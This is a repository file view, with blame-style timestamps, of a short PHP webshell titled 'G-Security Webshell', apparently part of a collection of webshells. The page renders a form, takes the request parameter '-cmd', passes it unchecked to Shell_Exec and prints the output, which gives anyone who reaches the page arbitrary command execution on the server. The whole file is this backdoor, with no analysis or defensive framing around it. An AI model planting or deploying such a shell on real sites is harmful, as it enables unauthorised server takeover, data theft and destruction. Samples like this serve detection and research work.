webshells/php/simple_cmd.php

19 lines
342 B
PHP
Raw Normal View History

2015-01-12 22:32:48 +00:00
<html>
<head>
<title>G-Security Webshell</title>
</head>
<body bgcolor=#000000 text=#ffffff ">
<form method=POST>
<br>
<input type=TEXT name="-cmd" size=64 value="<?=$cmd?>"
style="background:#000000;color:#ffffff;">
<hr>
<pre>
</pre>
</form>
2017-06-28 15:09:41 +00:00
<?php $cmd = $_REQUEST["-cmd"];?>
<?php if($cmd != "") print Shell_Exec($cmd);?>
2015-01-12 22:32:48 +00:00
</body>
2017-06-28 15:09:41 +00:00
</html>